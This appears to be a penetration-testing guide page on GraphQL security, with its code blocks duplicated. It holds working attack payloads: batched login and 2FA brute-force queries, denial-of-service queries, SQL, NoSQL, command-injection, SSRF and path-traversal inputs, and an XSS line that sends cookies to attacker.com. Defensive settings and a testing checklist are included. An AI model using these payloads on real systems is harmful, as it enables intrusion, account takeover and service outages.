Exploitation A03

GraphQL Security Testing

GraphQL provides powerful query capabilities, but its flexibility introduces unique security challenges including schema exposure, batching abuse, and complex injection vectors.

Information

GraphQL endpoints often expose more data than intended. Start with introspection to understand the entire attack surface before testing specific vulnerabilities.

Introspection Queries

Introspection allows clients to query the GraphQL schema itself. If enabled in production, it exposes the entire API structure including hidden fields, mutations, and types.

introspection.graphql
graphql
# GraphQL Introspection Query

# Full introspection query to dump entire schema
{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          type {
            name
          }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

# Simplified version for quick check
{
  __schema {
    queryType { name }
  }
}

# Get all types with their fields
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Get a specific type's details
{
  __type(name: "User") {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}
# GraphQL Introspection Query

# Full introspection query to dump entire schema
{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          type {
            name
          }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

# Simplified version for quick check
{
  __schema {
    queryType { name }
  }
}

# Get all types with their fields
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Get a specific type's details
{
  __type(name: "User") {
    name
    fields {
      name
      type {
        name
      }
    }
  }
}

Warning

Even if introspection is disabled, tools like Clairvoyance can often reconstruct the schema through error messages and field suggestions.

GraphQL Reconnaissance Tools

graphql-recon.sh
bash
# GraphQL Reconnaissance Tools

# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql

# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/

# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json

# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id
# GraphQL Reconnaissance Tools

# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql

# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/

# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json

# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql

# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id

Batching Attacks

GraphQL allows multiple queries in a single request. This can bypass rate limits designed for per-request throttling, enabling brute force attacks.

batching-attacks.graphql
graphql
# GraphQL Batching Attacks

# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass

# Batch login attempts (bypasses per-request rate limits)
[
  {
    "query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
  }
]

# Alias-based Batching (same query, different aliases)
query {
  attempt1: login(email: "user@test.com", password: "password1") { token }
  attempt2: login(email: "user@test.com", password: "password2") { token }
  attempt3: login(email: "user@test.com", password: "password3") { token }
  attempt4: login(email: "user@test.com", password: "password4") { token }
  attempt5: login(email: "user@test.com", password: "password5") { token }
}

# 2FA Bypass via Batching
query {
  a: verify2FA(code: "000001") { success }
  b: verify2FA(code: "000002") { success }
  c: verify2FA(code: "000003") { success }
  # ... up to 999999
}

# Mass Data Extraction
query {
  user1: user(id: 1) { email password_hash }
  user2: user(id: 2) { email password_hash }
  user3: user(id: 3) { email password_hash }
  # ... enumerate all users
}
# GraphQL Batching Attacks

# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass

# Batch login attempts (bypasses per-request rate limits)
[
  {
    "query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
  },
  {
    "query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
  }
]

# Alias-based Batching (same query, different aliases)
query {
  attempt1: login(email: "user@test.com", password: "password1") { token }
  attempt2: login(email: "user@test.com", password: "password2") { token }
  attempt3: login(email: "user@test.com", password: "password3") { token }
  attempt4: login(email: "user@test.com", password: "password4") { token }
  attempt5: login(email: "user@test.com", password: "password5") { token }
}

# 2FA Bypass via Batching
query {
  a: verify2FA(code: "000001") { success }
  b: verify2FA(code: "000002") { success }
  c: verify2FA(code: "000003") { success }
  # ... up to 999999
}

# Mass Data Extraction
query {
  user1: user(id: 1) { email password_hash }
  user2: user(id: 2) { email password_hash }
  user3: user(id: 3) { email password_hash }
  # ... enumerate all users
}

Batching Attack Use Cases

Rate Limit Bypass

Send thousands of login attempts in one request to bypass per-request rate limits.

2FA Brute Force

Try all possible 6-digit OTP codes (000000-999999) in batched requests.

Mass Enumeration

Extract data for thousands of user IDs in a single batched query.

Race Conditions

Execute multiple mutations atomically to trigger TOCTOU vulnerabilities.

Denial of Service Attacks

GraphQL's nested query structure can be abused to create exponentially complex queries that consume excessive server resources.

dos-attacks.graphql
graphql
# GraphQL Denial of Service Attacks

# Deeply Nested Query (DoS via complexity)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                name
                email
              }
            }
          }
        }
      }
    }
  }
}

# Circular Fragment (infinite recursion)
query {
  user(id: 1) {
    ...UserFragment
  }
}

fragment UserFragment on User {
  friends {
    ...UserFragment
  }
}

# Large Field Expansion
query {
  allUsers(first: 10000) {
    edges {
      node {
        posts(first: 10000) {
          edges {
            node {
              comments(first: 10000) {
                edges {
                  node {
                    content
                    author { name email }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

# Field Duplication
query {
  user(id: 1) {
    name
    name
    name
    # repeat thousands of times
  }
}

# Resource Intensive Operations
query {
  expensiveSearch(
    query: "a",
    sortBy: "relevance",
    includeDeleted: true,
    deepSearch: true
  ) {
    results
  }
}
# GraphQL Denial of Service Attacks

# Deeply Nested Query (DoS via complexity)
query {
  users {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                name
                email
              }
            }
          }
        }
      }
    }
  }
}

# Circular Fragment (infinite recursion)
query {
  user(id: 1) {
    ...UserFragment
  }
}

fragment UserFragment on User {
  friends {
    ...UserFragment
  }
}

# Large Field Expansion
query {
  allUsers(first: 10000) {
    edges {
      node {
        posts(first: 10000) {
          edges {
            node {
              comments(first: 10000) {
                edges {
                  node {
                    content
                    author { name email }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

# Field Duplication
query {
  user(id: 1) {
    name
    name
    name
    # repeat thousands of times
  }
}

# Resource Intensive Operations
query {
  expensiveSearch(
    query: "a",
    sortBy: "relevance",
    includeDeleted: true,
    deepSearch: true
  ) {
    results
  }
}

Injection Attacks

GraphQL arguments are passed to backend resolvers. If not properly validated, they can lead to SQL injection, NoSQL injection, SSRF, and other attacks.

injection-attacks.graphql
graphql
# GraphQL Injection Attacks

# SQL Injection via GraphQL Arguments
query {
  users(filter: "name = 'admin' OR 1=1 --") {
    id
    name
    email
  }
}

# NoSQL Injection
query {
  user(id: "{\"$gt\":\"\"}") {
    email
    password_hash
  }
}

# OS Command Injection
mutation {
  generateReport(filename: "report.pdf; cat /etc/passwd") {
    url
  }
}

# SSRF via GraphQL
mutation {
  importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# Path Traversal
query {
  getFile(path: "../../../etc/passwd") {
    content
  }
}

# XSS via GraphQL Mutation
mutation {
  updateProfile(
    bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
  ) {
    success
  }
}
# GraphQL Injection Attacks

# SQL Injection via GraphQL Arguments
query {
  users(filter: "name = 'admin' OR 1=1 --") {
    id
    name
    email
  }
}

# NoSQL Injection
query {
  user(id: "{\"$gt\":\"\"}") {
    email
    password_hash
  }
}

# OS Command Injection
mutation {
  generateReport(filename: "report.pdf; cat /etc/passwd") {
    url
  }
}

# SSRF via GraphQL
mutation {
  importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# Path Traversal
query {
  getFile(path: "../../../etc/passwd") {
    content
  }
}

# XSS via GraphQL Mutation
mutation {
  updateProfile(
    bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
  ) {
    success
  }
}

Authorization Bypass

GraphQL APIs often have inconsistent authorization checks. Fields accessible through different query paths may have different protection levels.

authz-bypass.graphql
graphql
# GraphQL Authorization Bypass

# IDOR via GraphQL
# If you can access your user:
query {
  user(id: 123) {  # Your ID
    email
    address
    credit_cards { number }
  }
}

# Try other user IDs:
query {
  user(id: 124) {  # Someone else's ID
    email
    address
    credit_cards { number }
  }
}

# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
  me {
    name
    email
    isAdmin           # Should be hidden
    hashedPassword    # Should be hidden
    creditCards {     # Should require additional auth
      number
      cvv
    }
  }
}

# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
  deleteUser(id: 1) {
    success
  }
}

mutation {
  promoteToAdmin(userId: 123) {
    success
  }
}

# Accessing Internal/Debug Queries
query {
  _debug { logs }
  _internal { systemInfo }
  _admin { allUsers { password_hash } }
}

# Subscription-based Data Leakage
subscription {
  onNewUser {
    id
    email
    password  # Leaked on every new registration
  }
}
# GraphQL Authorization Bypass

# IDOR via GraphQL
# If you can access your user:
query {
  user(id: 123) {  # Your ID
    email
    address
    credit_cards { number }
  }
}

# Try other user IDs:
query {
  user(id: 124) {  # Someone else's ID
    email
    address
    credit_cards { number }
  }
}

# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
  me {
    name
    email
    isAdmin           # Should be hidden
    hashedPassword    # Should be hidden
    creditCards {     # Should require additional auth
      number
      cvv
    }
  }
}

# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
  deleteUser(id: 1) {
    success
  }
}

mutation {
  promoteToAdmin(userId: 123) {
    success
  }
}

# Accessing Internal/Debug Queries
query {
  _debug { logs }
  _internal { systemInfo }
  _admin { allUsers { password_hash } }
}

# Subscription-based Data Leakage
subscription {
  onNewUser {
    id
    email
    password  # Leaked on every new registration
  }
}

Automated Testing Script

graphql_tester.py
python
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""

import requests
import json
import sys

class GraphQLTester:
    def __init__(self, url, headers=None):
        self.url = url
        self.headers = headers or {'Content-Type': 'application/json'}
    
    def query(self, query, variables=None):
        """Execute a GraphQL query"""
        payload = {'query': query}
        if variables:
            payload['variables'] = variables
        
        response = requests.post(
            self.url,
            json=payload,
            headers=self.headers
        )
        return response.json()
    
    def test_introspection(self):
        """Test if introspection is enabled"""
        query = '''{ __schema { queryType { name } } }'''
        result = self.query(query)
        
        if 'data' in result and result['data'].get('__schema'):
            print("[VULN] Introspection is ENABLED")
            return True
        else:
            print("[SAFE] Introspection is disabled")
            return False
    
    def dump_schema(self):
        """Dump full schema if introspection enabled"""
        query = '''
        {
          __schema {
            types {
              name
              fields { name }
            }
          }
        }
        '''
        return self.query(query)
    
    def test_batching(self):
        """Test if query batching is allowed"""
        batch = [
            {'query': '{ __typename }'},
            {'query': '{ __typename }'}
        ]
        
        response = requests.post(
            self.url,
            json=batch,
            headers=self.headers
        )
        
        try:
            result = response.json()
            if isinstance(result, list) and len(result) == 2:
                print("[VULN] Query batching is ENABLED")
                return True
        except:
            pass
        
        print("[SAFE] Query batching appears disabled")
        return False
    
    def test_depth_limit(self, max_depth=20):
        """Test query depth limits"""
        nested = "{ __typename }"
        for i in range(max_depth):
            nested = "{ users " + nested + " }"
        
        result = self.query(nested)
        
        if 'errors' in result:
            print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
        else:
            print(f"[VULN] No depth limit (tested {max_depth} levels)")
    
    def test_field_suggestions(self):
        """Test if field suggestions leak schema info"""
        query = '{ user { doesnotexist } }'
        result = self.query(query)
        
        if 'errors' in result:
            error_msg = str(result['errors'])
            if 'Did you mean' in error_msg:
                print("[INFO] Field suggestions enabled (may leak schema)")
                return True
        
        print("[SAFE] No field suggestions")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
        sys.exit(1)
    
    tester = GraphQLTester(sys.argv[1])
    
    print("\n=== GraphQL Security Tests ===\n")
    tester.test_introspection()
    tester.test_batching()
    tester.test_depth_limit()
    tester.test_field_suggestions()
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""

import requests
import json
import sys

class GraphQLTester:
    def __init__(self, url, headers=None):
        self.url = url
        self.headers = headers or {'Content-Type': 'application/json'}
    
    def query(self, query, variables=None):
        """Execute a GraphQL query"""
        payload = {'query': query}
        if variables:
            payload['variables'] = variables
        
        response = requests.post(
            self.url,
            json=payload,
            headers=self.headers
        )
        return response.json()
    
    def test_introspection(self):
        """Test if introspection is enabled"""
        query = '''{ __schema { queryType { name } } }'''
        result = self.query(query)
        
        if 'data' in result and result['data'].get('__schema'):
            print("[VULN] Introspection is ENABLED")
            return True
        else:
            print("[SAFE] Introspection is disabled")
            return False
    
    def dump_schema(self):
        """Dump full schema if introspection enabled"""
        query = '''
        {
          __schema {
            types {
              name
              fields { name }
            }
          }
        }
        '''
        return self.query(query)
    
    def test_batching(self):
        """Test if query batching is allowed"""
        batch = [
            {'query': '{ __typename }'},
            {'query': '{ __typename }'}
        ]
        
        response = requests.post(
            self.url,
            json=batch,
            headers=self.headers
        )
        
        try:
            result = response.json()
            if isinstance(result, list) and len(result) == 2:
                print("[VULN] Query batching is ENABLED")
                return True
        except:
            pass
        
        print("[SAFE] Query batching appears disabled")
        return False
    
    def test_depth_limit(self, max_depth=20):
        """Test query depth limits"""
        nested = "{ __typename }"
        for i in range(max_depth):
            nested = "{ users " + nested + " }"
        
        result = self.query(nested)
        
        if 'errors' in result:
            print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
        else:
            print(f"[VULN] No depth limit (tested {max_depth} levels)")
    
    def test_field_suggestions(self):
        """Test if field suggestions leak schema info"""
        query = '{ user { doesnotexist } }'
        result = self.query(query)
        
        if 'errors' in result:
            error_msg = str(result['errors'])
            if 'Did you mean' in error_msg:
                print("[INFO] Field suggestions enabled (may leak schema)")
                return True
        
        print("[SAFE] No field suggestions")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
        sys.exit(1)
    
    tester = GraphQLTester(sys.argv[1])
    
    print("\n=== GraphQL Security Tests ===\n")
    tester.test_introspection()
    tester.test_batching()
    tester.test_depth_limit()
    tester.test_field_suggestions()

Security Best Practices

graphql-defenses.js
javascript
# GraphQL Security Best Practices

# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
  introspection: process.env.NODE_ENV !== 'production',
});

# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';

const server = new ApolloServer({
  validationRules: [depthLimit(10)],
});

# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  onComplete: (complexity) => {
    console.log('Query Complexity:', complexity);
  },
});

# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately

# 5. Disable Query Batching if not needed
# Or limit batch size

# 6. Input Validation
# Sanitize all user inputs before using in resolvers

# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
  User: {
    email: (parent, args, context) => {
      if (!context.user.isAdmin && context.user.id !== parent.id) {
        throw new Error('Unauthorized');
      }
      return parent.email;
    },
  },
};

# 8. Disable Field Suggestions in Production
# Prevents schema enumeration
# GraphQL Security Best Practices

# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
  introspection: process.env.NODE_ENV !== 'production',
});

# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';

const server = new ApolloServer({
  validationRules: [depthLimit(10)],
});

# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  onComplete: (complexity) => {
    console.log('Query Complexity:', complexity);
  },
});

# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately

# 5. Disable Query Batching if not needed
# Or limit batch size

# 6. Input Validation
# Sanitize all user inputs before using in resolvers

# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
  User: {
    email: (parent, args, context) => {
      if (!context.user.isAdmin && context.user.id !== parent.id) {
        throw new Error('Unauthorized');
      }
      return parent.email;
    },
  },
};

# 8. Disable Field Suggestions in Production
# Prevents schema enumeration

Practice Labs

Testing Checklist

🔍 Reconnaissance

  • ☐ Test introspection query
  • ☐ Try field suggestions for schema leaks
  • ☐ Run graphw00f fingerprinting
  • ☐ Visualize schema with Voyager
  • ☐ Identify sensitive fields/types

⚡ Batching/DoS

  • ☐ Test array-based batching
  • ☐ Test alias-based batching
  • ☐ Check depth limits
  • ☐ Test query complexity limits
  • ☐ Try circular fragments
  • ☐ Test directive abuse (@skip/@include)
  • ☐ Test fragment injection for field leaking
  • ☐ Test complexity cost bypass

💉 Injection

  • ☐ SQL injection in arguments
  • ☐ NoSQL injection
  • ☐ SSRF in URL parameters
  • ☐ OS command injection
  • ☐ XSS in mutations

🔓 Authorization

  • ☐ IDOR in query arguments
  • ☐ Field-level authorization
  • ☐ Mutation authorization
  • ☐ Subscription data leakage
  • ☐ Access hidden/internal queries

🔬 Advanced GraphQL Techniques

Directive Abuse

GraphQL directives (@skip, @include, @deprecated) can be abused for schema enumeration and query manipulation:

graphql
# Use @include/@skip to conditionally probe fields without errors
# This bypasses some field-level authorization checks
{
  user(id: 1) {
    username
    email @include(if: true)
    role @include(if: true)          # May leak internal fields
    password_hash @skip(if: false)   # Try accessing restricted fields
    __typename
  }
}

# Enumerate deprecated fields (may still function but be unprotected)
{
  __type(name: "User") {
    fields(includeDeprecated: true) {
      name
      isDeprecated
      deprecationReason
    }
  }
}

# Custom directive injection — some servers allow user-defined directives
{
  user(id: 1) @cacheControl(maxAge: 0) {
    secretField
  }
}
# Use @include/@skip to conditionally probe fields without errors
# This bypasses some field-level authorization checks
{
  user(id: 1) {
    username
    email @include(if: true)
    role @include(if: true)          # May leak internal fields
    password_hash @skip(if: false)   # Try accessing restricted fields
    __typename
  }
}

# Enumerate deprecated fields (may still function but be unprotected)
{
  __type(name: "User") {
    fields(includeDeprecated: true) {
      name
      isDeprecated
      deprecationReason
    }
  }
}

# Custom directive injection — some servers allow user-defined directives
{
  user(id: 1) @cacheControl(maxAge: 0) {
    secretField
  }
}

Fragment Injection for Field Leaking

Fragments can be used to access fields that might be restricted at the query level but allowed when accessed through type spreads:

graphql
# Fragment spreading to access fields across types
{
  search(query: "admin") {
    ... on User {
      id
      email
      role        # Might be restricted on direct User query
      apiKey      # Internal fields exposed via search
    }
    ... on AdminUser {
      permissions  # Union type may expose admin-only fields
      lastLogin
    }
  }
}

# Inline fragment to bypass field-level access control
{
  node(id: "base64-encoded-user-id") {
    ... on User {
      email
      ssn           # Field accessible via Node interface but not User query
      creditCard
    }
  }
}

# Fragment with type confusion — test polymorphic resolution
fragment UserFields on User {
  id
  email
}
fragment AdminFields on AdminUser {
  id
  email
  secret_key
}
{
  users { ...UserFields ...AdminFields }
}
# Fragment spreading to access fields across types
{
  search(query: "admin") {
    ... on User {
      id
      email
      role        # Might be restricted on direct User query
      apiKey      # Internal fields exposed via search
    }
    ... on AdminUser {
      permissions  # Union type may expose admin-only fields
      lastLogin
    }
  }
}

# Inline fragment to bypass field-level access control
{
  node(id: "base64-encoded-user-id") {
    ... on User {
      email
      ssn           # Field accessible via Node interface but not User query
      creditCard
    }
  }
}

# Fragment with type confusion — test polymorphic resolution
fragment UserFields on User {
  id
  email
}
fragment AdminFields on AdminUser {
  id
  email
  secret_key
}
{
  users { ...UserFields ...AdminFields }
}

Alias Abuse Beyond Brute Force

Aliases enable enumerating resources and fingerprinting data without triggering typical rate limits:

graphql
# Mass IDOR via aliases — enumerate users in a single request
{
  u1: user(id: 1) { email role }
  u2: user(id: 2) { email role }
  u3: user(id: 3) { email role }
  u100: user(id: 100) { email role }
}

# Fingerprint account existence via aliases
{
  a1: resetPassword(email: "admin@company.com") { success message }
  a2: resetPassword(email: "ceo@company.com") { success message }
  a3: resetPassword(email: "dev@company.com") { success message }
}

# Bypass per-field rate limiting using aliases
{
  attempt1: login(email: "admin@target.com", password: "password1") { token }
  attempt2: login(email: "admin@target.com", password: "password2") { token }
  attempt3: login(email: "admin@target.com", password: "password3") { token }
  # All execute in a single HTTP request — bypasses request-based rate limits
}
# Mass IDOR via aliases — enumerate users in a single request
{
  u1: user(id: 1) { email role }
  u2: user(id: 2) { email role }
  u3: user(id: 3) { email role }
  u100: user(id: 100) { email role }
}

# Fingerprint account existence via aliases
{
  a1: resetPassword(email: "admin@company.com") { success message }
  a2: resetPassword(email: "ceo@company.com") { success message }
  a3: resetPassword(email: "dev@company.com") { success message }
}

# Bypass per-field rate limiting using aliases
{
  attempt1: login(email: "admin@target.com", password: "password1") { token }
  attempt2: login(email: "admin@target.com", password: "password2") { token }
  attempt3: login(email: "admin@target.com", password: "password3") { token }
  # All execute in a single HTTP request — bypasses request-based rate limits
}

Complexity Cost Bypass

Many servers implement query complexity analysis. These techniques craft queries that pass cost limits while remaining expensive:

graphql
# Technique 1: Spread cost across multiple root fields
# Each root field has its own cost budget in some implementations
{
  users(first: 100) { edges { node { posts { title } } } }
  posts(first: 100) { edges { node { author { followers { name } } } } }
  comments(first: 100) { edges { node { post { author { name } } } } }
}

# Technique 2: Exploit pagination to multiply data volume
{
  users(first: 100, after: "cursor") {
    edges {
      node {
        posts(first: 100) {
          edges {
            node {
              comments(first: 100) { totalCount }  # Low "cost" but high DB load
            }
          }
        }
      }
    }
  }
}

# Technique 3: Combine batching + nesting for amplified impact
# Array batch with nested deep queries
[
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"}
]
# 3 queries × 50 × 50 × 50 = 375,000 potential resolver calls
# Technique 1: Spread cost across multiple root fields
# Each root field has its own cost budget in some implementations
{
  users(first: 100) { edges { node { posts { title } } } }
  posts(first: 100) { edges { node { author { followers { name } } } } }
  comments(first: 100) { edges { node { post { author { name } } } } }
}

# Technique 2: Exploit pagination to multiply data volume
{
  users(first: 100, after: "cursor") {
    edges {
      node {
        posts(first: 100) {
          edges {
            node {
              comments(first: 100) { totalCount }  # Low "cost" but high DB load
            }
          }
        }
      }
    }
  }
}

# Technique 3: Combine batching + nesting for amplified impact
# Array batch with nested deep queries
[
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"},
  {"query": "{ users(first:50) { followers(first:50) { followers(first:50) { name } } } }"}
]
# 3 queries × 50 × 50 × 50 = 375,000 potential resolver calls

Evidence Collection

Introspection Dump: Save the full schema output from introspection queries including types, fields, mutations, and deprecated endpoints that reveal internal API surface.

Query Complexity Abuse: Demonstrate excessive resolver calls via deeply nested or batched queries — capture server response times, error messages, and resource consumption metrics.

Authorization Bypass: Document queries that access data across tenant/user boundaries — capture the query, response with unauthorized data, and the authenticated user context.

Injection via Arguments: Record GraphQL arguments used to inject SQL/NoSQL payloads through resolvers, including the mutation/query structure and backend error messages.

CVSS Range: 4.3 (information disclosure via introspection) – 9.8 (injection through resolvers leading to RCE or full data access)

False Positive Identification

  • Introspection by Design: Some development/staging APIs intentionally expose introspection — verify the environment and whether production also exposes it.
  • Depth Limits Active: If query depth limiting returns a structured error before resolver execution, the DoS vector is mitigated — test with increasingly nested queries to find the actual threshold.
  • Gateway-Level Authorization: Data visible in introspection may be fully gated by authorization middleware — confirm by actually querying the fields, not just discovering them.
  • Batching Disabled: Array-based batching returning errors doesn't mean aliased batching is also blocked — test both independently before ruling out DoS.